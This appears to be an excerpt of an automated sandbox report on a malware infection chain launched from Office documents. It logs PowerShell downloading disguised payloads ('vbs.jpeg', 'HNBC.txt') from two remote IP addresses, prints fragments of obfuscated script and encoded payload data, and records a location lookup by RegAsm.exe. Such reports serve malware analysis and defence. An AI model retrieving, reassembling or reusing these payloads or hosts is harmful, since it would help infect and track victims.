                    Jul 26, 2024 13:19:12.057015896 CEST1236INData Raw: 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 32 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6f 00 65 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00
                    Data Ascii: pAlias_002_0_Message") & oemorulaE & _monopso("L_HelpAlias_003_0_Message") & oemorulaE & _monopso("X_HelpAlias_004_0_M
                    Jul 26, 2024 13:19:12.057085037 CEST1236INData Raw: 20 00 6f 00 65 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 34 00 5f 00
                    Data Ascii: oemorulaE & _monopso("L_HelpAlias_014_0_Message") & oemorulaE & _monopso("X_HelpAlias_015_0_Message") & oemorulaE & _
                    Jul 26, 2024 13:19:12.057118893 CEST1236INData Raw: 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 53 00 77 00 69 00 74 00 63 00 68 00 20 00 6e 00 6f 00 74 00 20 00 61 00 6c 00 6c 00 6f 00 77 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 74 00 68 00 65 00 20 00 67 00 69 00 76 00 65 00 6e 00
                    Data Ascii: = "Switch not allowed with the given operation: "private const L_UNKOPT_ErrorMessage = "Unknown switch: "priv
                    Jul 26, 2024 13:19:12.057190895 CEST1236INData Raw: 31 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 55 00 6e 00 65 00 78 00 70 00 65 00 63 00 74 00 65 00 64 00 20 00 6d 00 61 00 74 00 63 00 68 00 20 00 63 00 6f 00 75 00 6e 00 74 00 20 00
                    Data Ascii: 1_Message = "Unexpected match count - one match is expected: "private const L_OPTNOTUNQ_Message = "Option is
                    Jul 26, 2024 13:19:12.062110901 CEST1236INData Raw: 63 00 74 00 65 00 64 00 29 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 4e 00 4f 00 4c 00 41 00 53 00 54 00 54 00 4f 00 4b 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00
                    Data Ascii: cted)"private const L_NOLASTTOK_Message = "Invalid URI - cannot locate last token for root node name"private con


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    6192.168.2.2249169198.46.176.133803520C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:19:15.680655956 CEST79OUTGET /Upload/vbs.jpeg HTTP/1.1
                    Host: 198.46.176.133
                    Connection: Keep-Alive
                    Jul 26, 2024 13:19:16.179912090 CEST1236INHTTP/1.1 200 OK
                    Date: Fri, 26 Jul 2024 11:19:16 GMT
                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                    Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT
                    ETag: "1d7285-61ce2d35c4b0c"
                    Accept-Ranges: bytes
                    Content-Length: 1929861
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: image/jpeg
                    Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                    Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5*sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/*Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B*,xGU5Pay'rErv^uYt7*0ur$UxA-OF9>uI^O^gy4A
                    Jul 26, 2024 13:19:16.179974079 CEST1236INData Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04
                    Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
                    Jul 26, 2024 13:19:16.180008888 CEST1236INData Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a
                    Data Ascii: cLp\`6d)$,ec)q(6>h|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SG*A13E0DoE~52>)X5OnFQM*uQMVy#o\>5$0!\DYX`
                    Jul 26, 2024 13:19:16.180042982 CEST1236INData Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70
                    Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
                    Jul 26, 2024 13:19:16.180077076 CEST896INData Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30
                    Data Ascii: W\*`tdcyrU':$_n95X+KYY\4f^&l0*8<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%*z*IMJ.D7}##H ml6fm"7LyF
                    Jul 26, 2024 13:19:16.180111885 CEST1236INData Raw: c0 0b 66 63 c8 f9 65 03 79 a4 21 b2 3a 71 db 03 2e c8 9c 24 7b 9a fa fc 06 07 ba 3a c5 79 3c b6 3b 59 7b 91 f8 be 58 b6 b4 02 37 6d e7 bf c7 25 cd 2d 06 2c 3f 17 06 b1 43 36 d6 28 cc d4 dc 82 47 4f ae 00 1d 03 03 e9 c0 ec 01 b6 ed e9 8e 05 3b 6a
                    Data Ascii: fcey!:q.${:y<;Y{X7m%-,?C6(GO;j\0U!BcG|"y nGg. &C*Q^G#qQ$q"pH9`zjxW.VzHIG+V<GAFcqtMEgf`O>tA\o
                    Jul 26, 2024 13:19:16.180170059 CEST1236INData Raw: 8b 29 b4 b7 5c 10 66 00 ed 41 c7 52 70 04 94 d3 2d 1d a4 b1 fe 43 3e e1 f6 47 4a fa 8f d9 77 85 42 8c 81 a6 f1 2d 44 44 c8 c1 7f 1e 9e 64 ee 47 f8 bf f7 e9 9f 0d 7b 0e 18 2f 3f a6 7d ab ec 46 a3 4e 9f b2 c8 75 5a e7 61 1c 3e 36 d2 46 b1 d1 26 a2
                    Data Ascii: )\fARp-C>GJwB-DDdG{/?}FNuZa>6F&,5UjRG"*{w9?j_H}HO3z9IxoVBjlqQ8eILh,/g>o}+I~:$
                    Jul 26, 2024 13:19:16.180206060 CEST1236INData Raw: 53 f6 cd 75 46 06 58 be fd 14 a5 18 f4 a8 82 d7 d6 b3 16 27 94 fd a0 d5 b0 1b a4 30 81 ea eb d1 70 32 cc c7 c6 4b 95 0a 46 a2 1b 1d ba 1c 0f 4b f6 cb c7 a2 d4 f8 bf 86 6b 22 13 2a ab 02 c8 c4 15 0a ac ad c5 73 d8 67 ae 97 ed 8e 88 23 21 d3 3b 29
                    Data Ascii: SuFX'0p2KFKk"*sg#!;)|+MYe6]M}GBV)/n^X f{ U/Mv0nQ)R{dvhn C_oz>hqw>qJh,O]4(M3=$prNHs1ixp
                    Jul 26, 2024 13:19:16.180238962 CEST1236INData Raw: c4 83 d4 1c 0f 4e 9f 69 74 e0 12 21 90 df 52 5b ae 43 f8 ee 9e 48 c0 30 c8 2f b8 6a 39 85 0c 04 8d bd 47 be 1a 5d 2b 42 02 b9 36 39 aa c0 d9 8b c5 b4 0e a5 3c 89 41 5f e2 26 f0 4d e2 30 ed 67 11 b5 76 e4 0f ae 66 42 db 45 91 57 c5 e1 9d 4a a8 25
                    Data Ascii: Nit!R[CH0/j9G]+B69<A_&M0gvfBEWJ%A(F ey{=^,<7Rg:)%Y14eJ<auz})TI"p=Fqp0kfpU|/e>Oq};3FYmxa|I'4J:B
                    Jul 26, 2024 13:19:16.180274963 CEST1236INData Raw: 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 48 35 d8 60 43 fe 06 51 cd 9b 19 78 95 96 15 60 8a 2c d1 c9 82 64 8c 16 64 26 f0 ab 3c 0e de a4 60 09 ba be d8
                    Data Ascii: wr80/`vI<R@i*$!@BH5`CQx`,dd&<`iA*<i;As-#@+4e8L04~s1v{5esq1ibdd0C,)(uhtmoT8PdH*rv#e)v;@Is
                    Jul 26, 2024 13:19:16.186141014 CEST1236INData Raw: 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6
                    Data Ascii: #x%y2$:Q/b1HU6hU|JG4]Crj4825A=G=pG/|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v|kxD<Ct??wH?I?U/;I>A$Gsl


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    7192.168.2.2249170192.3.176.154803520C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:19:18.079663992 CEST74OUTGET /50/HNBC.txt HTTP/1.1
                    Host: 192.3.176.154
                    Connection: Keep-Alive
                    Jul 26, 2024 13:19:18.848542929 CEST1236INHTTP/1.1 200 OK
                    Date: Fri, 26 Jul 2024 11:19:18 GMT
                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                    Last-Modified: Fri, 26 Jul 2024 01:08:07 GMT
                    ETag: "a1000-61e1c24e75450"
                    Accept-Ranges: bytes
                    Content-Length: 659456
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: text/plain
                    Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED]
                    Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
                    Jul 26, 2024 13:19:18.848625898 CEST1236INData Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34
                    Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
                    Jul 26, 2024 13:19:18.848647118 CEST1236INData Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44
                    Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
                    Jul 26, 2024 13:19:18.848681927 CEST1236INData Raw: 77 77 4f 49 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 55 53 44 6b 30 77 49 4e 49 53 44 68 30 41 49 4e 38 52 44 65 30 51 48 4e 77 52 44 62 30 67 47 4e 6b 52 44 59 30 77 46 4e 59 52 44 55 30 77 45 4e 49 52 44 52 30 41 45 4e 38 51 44 4e 30 67 43
                    Data Ascii: wwOIAAAAAOAFAOAAAANUSDk0wINISDh0AIN8RDe0QHNwRDb0gGNkRDY0wFNYRDU0wENIRDR0AEN8QDN0gCNkQDI0wBNYQDF0ABNMQDB0AwM8PD+zQ/MwPD7zg+MgPD2AAAAcBQBQDgOsrD66QuOgrD36gtOUrD06wsOIrDx6AsO8qDu6QrOwqDr6gqOkqDo6wpOYqDl6ApOMqDi6QoOAqDf6gnO0pDc6wmOopDZ6AmOcpDW6QlO
                    Jul 26, 2024 13:19:18.848700047 CEST1236INData Raw: 79 44 6a 38 51 49 50 38 78 44 64 38 77 47 50 6b 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44
                    Data Ascii: yDj8QIP8xDd8wGPkxDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv
                    Jul 26, 2024 13:19:18.848732948 CEST1236INData Raw: 41 33 50 6d 39 44 58 2f 49 31 50 49 39 6a 50 2f 49 7a 50 6e 38 54 48 2f 4d 78 50 4a 34 7a 2f 2b 51 75 50 4a 37 6a 70 2b 4d 6f 50 6f 35 6a 58 2b 51 6c 50 4b 35 44 51 2b 59 6a 50 73 34 6a 49 2b 67 68 50 4f 34 44 42 39 6f 66 50 77 33 6a 35 39 77 64
                    Data Ascii: A3Pm9DX/I1PI9jP/IzPn8TH/MxPJ4z/+QuPJ7jp+MoPo5jX+QlPK5DQ+YjPs4jI+ghPO4DB9ofPw3j59wdPS3Dy94bP12jj9YYPv1zS98APRzDl8gFPJxjO8cwO/vzO7MzOroz464rOcqzd6gmOZlDl4Y0Neejg24vNhPTFz8gM7LT3yssMGHzZxMTMCAD/wUJAAAAtAUAcAAAA/o6Pb+zj/83Pi9jW/AjPp7Ty+0rPx6Tn+EpP
                    Jul 26, 2024 13:19:18.848752975 CEST1236INData Raw: 33 44 6d 39 41 55 50 77 30 6a 4a 39 6b 52 50 50 30 44 41 38 59 4f 50 66 7a 44 32 38 45 4e 50 65 79 54 69 38 51 49 50 7a 78 54 61 38 73 45 50 76 77 54 48 38 73 77 4f 38 76 6a 67 36 6b 6e 4f 53 6c 7a 35 35 41 63 4f 62 59 6a 55 32 4d 54 4e 46 58 6a
                    Data Ascii: 3Dm9AUPw0jJ9kRPP0DA8YOPfzD28ENPeyTi8QIPzxTa8sEPvwTH8swO8vjg6knOSlz55AcObYjU2MTNFXja1kAN9QDM0gyM7LTxyIoMhJTWyEkMtEDYxEDMBDjdw4GAAAAbAQA4A8j8/s+Pr+DT/8hPc7T0+gsPk6jf+YnPX4zD98dPO3TI8QLPUyTZ80FPFxTO7I/OevDp7AkO1rD76MuONrTw6MqObqDk6coOxpzW6AiOVoDD
                    Jul 26, 2024 13:19:18.848769903 CEST1236INData Raw: 4d 58 4f 75 6c 54 61 35 34 56 4f 43 6c 54 4c 35 6b 51 4f 45 67 7a 2f 34 51 50 4f 59 6a 44 74 34 63 49 4f 43 69 54 66 34 49 48 4f 57 68 44 54 34 34 43 4f 70 67 44 4a 34 6b 78 4e 39 66 7a 38 33 67 39 4e 54 66 6a 7a 33 4d 38 4e 6e 65 54 6e 33 49 34
                    Data Ascii: MXOulTa54VOClTL5kQOEgz/4QPOYjDt4cIOCiTf4IHOWhDT44COpgDJ4kxN9fz83g9NTfjz3M8NneTn3I4N9dDe302NRdzR3wyNncjI3chNkbDw2srN2azq24oNqZjN2URN9XD+1MfNoXj11QbNmWjm1sYNyVzS1MUNsUDH0AONYTzu0YLNxSDX0cFNFRjP0gDNxQzBz0+MZPT0zU8MoOjnzs3MxNDXzs0MpMzHzIxMJIz7y4tM
                    Jul 26, 2024 13:19:18.848788977 CEST1236INData Raw: 4c 6a 6c 79 55 6e 4d 52 4a 6a 53 79 55 55 4d 56 48 54 47 77 6f 45 41 41 41 41 51 41 51 41 41 41 38 6a 6c 2f 45 35 50 79 35 6a 64 2b 55 6c 50 78 34 6a 4b 2b 55 53 50 34 79 44 7a 38 77 5a 4f 41 6c 6a 4e 79 63 72 4d 51 41 44 34 77 6f 4c 4d 64 43 41
                    Data Ascii: LjlyUnMRJjSyUUMVHTGwoEAAAAQAQAAA8jl/E5Py5jd+UlPx4jK+USP4yDz8wZOAljNycrMQAD4woLMdCAAAwCADAPAAAwPn/zy/I3PYlTG4YLOkhDY4wFOYhDV4AFOMhDS4QEOAhDP4gDOcUTYzQAAAAANAMA4AAAA2wjN4YDN2AjNsYDK2QiNgUDl1wRNYUDF1ARNMUDC1QQNAQDdzw/M4PD9zA/MsPD6zQ+MgPzVyAuMcLD2
                    Jul 26, 2024 13:19:18.848808050 CEST1236INData Raw: 77 41 4d 47 41 54 41 41 41 51 41 59 41 77 41 67 42 41 41 41 38 7a 2b 2f 55 2f 50 76 2f 6a 36 2f 51 2b 50 65 2f 44 32 2f 4d 39 50 4e 2f 6a 78 2f 45 38 50 38 2b 6a 74 2f 41 37 50 71 2b 54 70 2f 38 35 50 5a 2b 7a 6b 2f 34 34 50 49 2b 6a 67 2f 77 33
                    Data Ascii: wAMGATAAAQAYAwAgBAAA8z+/U/Pv/j6/Q+Pe/D2/M9PN/jx/E8P8+jt/A7Pq+Tp/85PZ+zk/44PI+jg/w3P39Tc/s2Pl9DY/o1PU9jT/k0PD9TP/czPy8DL/YyPg8zG/UxPP8TC/QgP+7D++IvPt7z5+EuPb7j1+AtPK7Dx+8rP56zs+0qPo6jo+wpPW6Tk+soPF6zf+onP05Tb+YmPg1z+9QBPIyDR8cDPwwjK8QCPTsj97E+O
                    Jul 26, 2024 13:19:18.853060961 CEST1236INData Raw: 70 6a 61 36 59 6d 4f 69 70 6a 55 36 30 6a 4f 72 6f 54 49 36 63 52 4f 37 6e 44 37 35 30 64 4f 57 6e 44 7a 35 49 63 4f 34 6d 6a 72 35 51 61 4f 78 6c 44 57 35 49 55 4f 70 6b 6a 49 35 59 52 4f 50 6b 44 43 34 34 4e 4f 55 6a 54 7a 34 59 4d 4f 2f 69 44
                    Data Ascii: pja6YmOipjU60jOroTI6cRO7nD750dOWnDz5IcO4mjr5QaOxlDW5IUOpkjI5YROPkDC44NOUjTz4YMO/iDu4QIO6hzc4sDO0gjF3o/NpDAAAAHACAIAAAQOikzG58QOIgT/4YPOujD34wMOFjTu4ILOkiTn4UJODizc4wGOghTW4sEOEhDP4oCOagzE4cAOAcj83s+NjfT038xNScDB2EvNibjr2AqNPaje2oiNdYzD1wfNtXDq


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    8192.168.2.2249173178.237.33.50803680C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:19:22.083548069 CEST71OUTGET /json.gp HTTP/1.1
                    Host: geoplugin.net
                    Cache-Control: no-cache
                    Jul 26, 2024 13:19:22.698357105 CEST1170INHTTP/1.1 200 OK
                    date: Fri, 26 Jul 2024 11:19:22 GMT
                    server: Apache
                    content-length: 962
                    content-type: application/json; charset=utf-8
                    cache-control: public, max-age=300
                    access-control-allow-origin: *
                    Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED]
                    Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                    Statistics

                    CPU Usage

                    Click to jump to process

                    Memory Usage

                    Click to jump to process

                    High Level Behavior Distribution

                    Click to dive into process behavior distribution

                    Behavior

                    Click to jump to process

                    System Behavior

                    General

                    Target ID:0
                    Start time:07:18:29
                    Start date:26/07/2024
                    Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    Wow64 process (32bit):false
                    Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                    Imagebase:0x13fb50000
                    File size:28'253'536 bytes
                    MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high
                    Has exited:false

                    General

                    Target ID:3
                    Start time:07:18:54
                    Start date:26/07/2024
                    Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    Wow64 process (32bit):false
                    Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
                    Imagebase:0x13f1c0000
                    File size:1'423'704 bytes
